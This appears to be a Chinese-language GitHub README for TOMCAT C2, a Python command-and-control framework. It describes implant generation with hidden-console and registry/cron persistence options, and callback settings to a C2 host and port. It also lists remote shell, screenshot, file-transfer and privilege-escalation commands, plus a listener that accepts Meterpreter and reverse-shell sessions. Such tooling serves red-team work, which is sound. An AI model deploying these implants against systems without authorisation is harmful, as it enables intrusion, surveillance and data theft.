XTM26/TOMCAT-C2

GitHub: XTM26/TOMCAT-C2

一个基于 Python 的多协议 C2 框架,支持在单端口上同时管理原生 Agent、Meterpreter 和反向 Shell 连接,内置 PKI 与 mTLS 加密保障通信安全。

Stars: 2 | Forks: 0

# TOMCAT C2 框架 ``` ___________________ _____ _________ ________________ _________ ________ \__ ___/\_____ \ / \ \_ ___ \ / _ \__ ___/ \_ ___ \ \_____ \ | | / | \ / \ / \/ \ \/ / /_\ \| | / \ \/ / ____/ | | / | \/ Y \ \____/ | \ | \ \____/ \ |____| \_______ /\____|__ /\______ /\____|__ /____| \______ /\_______ \ \/ \/ \/ \/ \/ \/ TOMCAT C2 Frameworks ``` **作者:** XTM26 **GitHub:** [XTM26](https://github.com/XTM26) ## 概述 TOMCAT C2 是一个多协议命令与控制(Command & Control)框架,在单个端口上支持三种类型的传入连接:原生 TOMCAT agent、Meterpreter 会话和通用的反向 shell。它支持双向 TLS (mTLS) 用于经过身份验证的加密 agent 通信,并内置 PKI 来管理证书。 ## 功能特性 - **多协议** — 单个监听器可同时接收 TOMCAT agent、Meterpreter 和反向 shell - **mTLS 支持** — 使用 CA 签名的客户端证书进行双向 TLS;只有经过授权的 agent 才能连接 - **Fernet 加密** — 所有 TOMCAT agent 流量均使用对称 Fernet 密钥进行端到端加密 - **三种界面** — CLI、Web 面板 (Flask) 和 Tkinter GUI - **内置 PKI** — 从 CLI 生成 CA、服务器证书以及每个 agent 的专属证书 - **Agent 打包** — 自动生成包含预配置证书和脚本的、随时可部署的 agent 文件夹 - **证书管理** — 列出、生成和撤销 agent 证书 - **文件传输** — 从/向 agent 上传和下载文件 - **会话命令** — `sysinfo`, `screenshot`, `elevate`, `cd`, `download`, `upload`, `stoptask` - **持久化** — 为 agent 提供可选的 Windows(注册表)和 Linux(Cron)持久化机制 - **多会话** — 同时与多个会话进行交互 ## 安装说明 ``` git clone https://github.com/XTM26/TOMCAT-C2.git ``` ## 系统要求 ``` Python 3.8+ cryptography flask (for Web Panel mode) pysocks ``` 安装依赖项: ``` pip install -r requirements.txt ``` ## 项目结构 ``` . ├── start.py # Entry point ├── AGENT/ │ └── tomcatv2a.py # Agent template ├── IMPLANT/ # Generated agent packages (auto-created) ├── Certs/ # Server certificates (auto-created) │ ├── ca-key.pem │ ├── ca-cert.pem │ ├── server-key.pem │ ├── server-cert.pem │ └── Agent```` # Per-agent certificates ├── Downloads/ # Files received from agents (auto-created) ├── Cores/ │ ├── App/ │ │ ├── App.py # Web Panel (Flask) │ │ ├── Cli.py # CLI Interface │ │ └── Gui.py # Tkinter GUI │ └── Systems/ │ ├── Server.py # Standard TOMCAT-only server │ ├── MultiProtocolServer.py # Multi-protocol server │ ├── CertificateManager.py # PKI / certificate management │ └── Cryptography.py # Fernet encryption wrapper └── Config/ ├── Color.py ├── Logo.py ├── Helper.py └── templates/ │ └── index.html │ └── static/ ├── css/ │ └── style.css └── js/ └── script.js ``` ## 快速开始 ### 1. 初始化证书(mTLS 必需) ``` python3 start.py --init-certs ``` 可以选择指定服务器的公网 IP,以使证书的 SAN 匹配: ``` python3 start.py --init-certs --server-host 192.168.1.10 ``` ### 2. 生成 Agent 包 ``` python3 start.py --gen-agent myagent --agent-host 192.168.1.10 --agent-port 4444 --agent-mtls ``` 此操作会创建 `IMPLANT/MYAGENT/` 文件夹,其中包含: ``` IMPLANT/MYAGENT/ ├── tomcatv2a.py # Pre-configured agent script ├── agent-key.pem ├── agent-cert.pem ├── ca-cert.pem └── README.txt ``` 将整个文件夹复制到目标机器并运行: ``` python3 tomcatv2a.py ``` ### 3. 启动服务器 **CLI 模式(仅标准 TOMCAT):** ``` python3 start.py -C ``` **带 mTLS 的 CLI 模式:** ``` python3 start.py -C -T ``` **带 Meterpreter + mTLS(所有协议)的 CLI 模式:** ``` python3 start.py -C -M -T ``` **Web 面板(默认):** ``` python3 start.py ``` ## 命令参考 ### `start.py` 参数 | 参数 | 完整形式 | 描述 | |------|-----------|-------------| | `-i` | `--init-certs` | 初始化 CA 和服务器证书 | | `-a ID` | `--gen-agent ID` | 生成 agent 证书和包 | | `-m` | `--gen-multi-agent` | 生成多个 agent | | `-c N` | `--gen-agent-count N` | 要生成的 agent 数量(默认:10) | | `-u PREFIX` | `--gen-agent-prefix PREFIX` | Agent 名称前缀(默认:agent) | | `-l` | `--list-agents` | 列出所有已颁发的 agent 证书 | | `-r ID` | `--revoke-agent ID` | 撤销一个 agent 证书 | | `-T` | `--mtls` | 在服务器上启用 mTLS | | `-M` | `--meterpreter` | 启用多协议模式(Meterpreter + RevShell) | | `-w HOST` | `--host HOST` | Web 面板绑定主机(默认:0.0.0.0) | | `-p PORT` | `--port PORT` | Web 面板端口(默认:5000) | | `-S HOST` | `--server-host HOST` | 嵌入到服务器证书 SAN 中的主机 | | `-ah HOST` | `--agent-host HOST` | 嵌入到生成的 agent 脚本中的 C2 主机 | | `-ap PORT` | `--agent-port PORT` | 嵌入到生成的 agent 脚本中的 C2 端口 | | `-am` | `--agent-mtls` | 在生成的 agent 中启用 mTLS | | `-hc` | `--hide-console` | 在生成的 agent 中隐藏控制台窗口 | | `-ps` | `--persistence` | 为生成的 agent 添加持久化 | | `-C` | `--cli-mode` | 使用 CLI 界面启动 | | `-G` | `--gui-mode` | 使用 Tkinter GUI 启动 | | `-W` | `--web-mode` | 使用 Web 面板 启动 | ### CLI 会话命令 | 命令 | 描述 | |---------|-------------| | `sessions` | 列出所有活动会话 | | `use ` | 进入某个会话的交互式 shell | | `exec ` | 在某个会话上执行单条命令 | | `kill ` | 终止某个会话 | | `status` | 显示服务器状态和运行时间 | | `stats` | 会话类型细分(TOMCAT / Meterpreter / Shell) | | `logs` | 查看近期事件日志 | | `clear` | 清除终端 | | `help` | 显示命令参考 | | `exit` | 停止服务器并退出 | ### Agent 命令(在 `use ` 内部) | 命令 | 描述 | |---------|-------------| | `sysinfo` | 完整的系统信息 | | `elevate` | 检查权限提升机会 | | `screenshot` | 捕获并下载屏幕截图 | | `download ` | 从 agent 下载文件 | | `upload ` | 上传文件到 agent | | `dl ` | download 的别名 | | `cd ` | 更改 agent 上的工作目录 | | `stoptask` | 终止当前正在运行的命令 | | `back` | 返回主控制台 | | 任何 shell 命令 | 通过目标上的 `subprocess` 执行 | ## mTLS 架构 ``` C2 Server Agent ───────── ───── ca-cert.pem ◄── shared trust ──► ca-cert.pem server-key.pem agent-key.pem server-cert.pem agent-cert.pem │ │ └──────── TLS mutual auth ─────────┘ ``` CA 同时签署服务器证书和每一个 agent 证书。在 TLS 握手期间,双方都会根据同一个 CA 验证对方。没有有效 CA 签名证书的 agent 会在 SSL 层被拒绝,而不会进行任何 C2 协议通信。 ## 多协议模式 (`-M`) 使用 `-M` 启动时,服务器会根据每个传入连接的前几个字节检测会话类型: | 前几个字节 | 检测为 | |-------------|-------------| | TLS ClientHello (`0x16 0x03`) | TOMCAT agent(先进行 SSL 包装,随后进行识别) | | Meterpreter 长度前缀头 | Meterpreter 会话 | | 可打印的 UTF-8 / shell 提示符 | 反向 shell | 这使得单个端口可以同时接受所有三种类型的连接而无需重新配置。 ## 证书管理 ``` # 初始化 CA + 服务器证书 python3 start.py --init-certs # 生成单个 agent 包(已启用 mTLS) python3 start.py -a agent01 -ah 10.0.0.1 -ap 4444 -am # 生成 5 个带有前缀的 agent python3 start.py -m -c 5 -u op1 -ah 10.0.0.1 -ap 4444 -am # 列出所有已签发的 agent 证书 python3 start.py -l # 吊销 agent 证书 python3 start.py -r agent01 ``` 证书存储在 `Certs/` 中。Agent 证书存储在 `Certs/AgentTCF/` 中。元数据(创建日期、路径)记录在 `Certs/Metadata.json` 中。 | 证书 | 有效期 | |-------------|----------| | CA | 10 年 | | Server | 1 年 | | Agent | 1 年(默认) | ## Agent 配置 生成的 `tomcatv2a.py` 包含由 `start.py` 预填充的以下变量: ``` ServerHost = "192.168.1.10" ServerPort = 4444 UseMTLS = True HideConsole = False AddPersistence = False ``` 要在不使用 mTLS 的情况下部署(纯 TCP),请在生成 agent 时省略 `-am`: ``` python3 start.py -a myagent -ah 192.168.1.10 -ap 4444 ``` ## 已知问题 / 已应用的修复 **Bug(已在 `MultiProtocolServer.py` 中修复):** 当同时使用 `-M` (MeterpreterMode) 和 `-T` (mTLS) 运行时,使用 `UseMTLS=True` 的 TOMCAT agent 无法连接。根本原因是: 1. `StartServer()` 和 `SessionHandler()` 使用 `and not self.MeterpreterMode` 来保护 SSL 设置,因此从未进行 SSL 包装。 2. `IdentifySession()` 检测到来自 agent 的 TLS ClientHello 后立即关闭了连接。 此修复基于对前几个字节的 **窥探 (peek)** 来应用 SSL 包装——纯 TCP 客户端(Meterpreter、反向 shell)直接通过而不包装,而 TLS 客户端(TOMCAT agent)在识别之前先进行包装。 ## 安全说明 - 妥善保管 `ca-key.pem` 和 `server-key.pem`,绝不要将它们部署到 agent 上。 - 每个 agent 都会收到自己独一无二的密钥对;撤销其中一个不会影响其他 agent。 - 如果没有使用 `-T`/`--mtls`,任何完成 TOMCAT 握手的客户端都将被接受——请在生产环境中使用 mTLS。 - Fernet 密钥是临时的(在服务器启动时生成);重启服务器将使所有现存的 agent 会话失效。
标签:Azure 安全, C2框架, Fernet加密, Flask, IP 地址批量处理, Meterpreter, mTLS, Python, Tkinter, 协议分析, 反向Shell, 命令与控制, 多协议监听, 安全学习资源, 攻击路径可视化, 数字证书管理, 文件传输, 无后门, 本体建模, 权限提升, 网络信息收集, 网络安全, 远控木马, 逆向工具, 隐私保护, 黑客工具